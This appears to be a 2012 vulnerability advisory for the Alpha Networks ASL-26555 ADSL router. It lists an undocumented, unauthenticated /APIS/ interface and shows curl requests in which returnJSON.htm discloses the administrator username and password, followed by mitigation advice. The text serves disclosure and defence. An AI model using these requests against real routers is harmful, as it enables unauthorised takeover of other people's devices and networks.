Alpha Networks ADSL2/2+ Wireless Router ASL-26555 Password Disclosure Exploit


Alpha Networks ADSL2/2+ Wireless Router ASL-26555 suffers from password disclosure vulnerability.


The information has been provided by Alberto Ortega.


Vulnerable Systems:
 * Alpha Networks ADSL2/2+ Wireless Router ASL-26555

Alpha Networks ADSL Wireless Routers have an administration web panel to manage the device configuration.

To access the panel, the administrator has to visit the IP of the device using the port 8000 with a web browser. It will prompt for authentication.

$ curl
<title>401 Not Authorized</title>
<h1>401 Not Authorized</h1>

$ curl -I
HTTP/1.1 401 Not Authorized
Server: LocalAccess
Date: Thu, 16 Aug 2012 18:23:08 GMT
WWW-Authenticate: Basic realm=’ASL-26555′

– The vulnerability:

If we investigate the directory /APIS/ in the same web server we will have a fully usable API to grab information from the device. This API doesn’t seem to be documented anywhere, quite weird (backdoor?). Also, this API doesn’t require authentication and grant us administrator access.

The implemented calls to the API are:

returnWifiJSON.htm returnInterfacesJSON.txt
returnWelcomeInfoJSON.htm returnFirewallLevelJSON.txt
returnUsbJSON.htm returnFirewallJSON.txt
returnServicesJSON.txt returnDhcpList.htm
returnPasswordJSON.htm returnDevicesJSON.htm
returnLoginStatusJSON.htm returnApplicationsListJSON.htm
returnLoginJSON.txt returnApplicationsJSON.htm
returnJSON.htm returnApplicationJSON.txt
returnIpJSON.txt returnInternetJSON.htm

We can read all the configuration from the device without authentication. In addition, we have a call named returnJSON.htm that returns us the credentials of the administrator user:

$ curl -I
HTTP/1.1 200 OK
Server: LocalAccess
Date: Thu, 16 Aug 2012 18:29:50 GMT
Transfer-Encoding: chunked
Content-Type: text/html

$ curl
‘success’: true,
‘errorDescription’: ‘ERROR_GENERAL’
‘USERNAME’: ‘admin’,
‘PASSWORD’: ‘adm1n_passw0rd_exposed’

This credentials can be used to log into the web panel with the administrator account.

– Mitigation:

The only possible mitigation is to drop access to everyone from the outside with a network level blocking configuration. This can be done in the Advanced configuration of the device.

You can also turn off the web panel, but you won’t be able to manage the device.

Disclosure Timeline:
Published: 2012-08-20

Categories: Exploits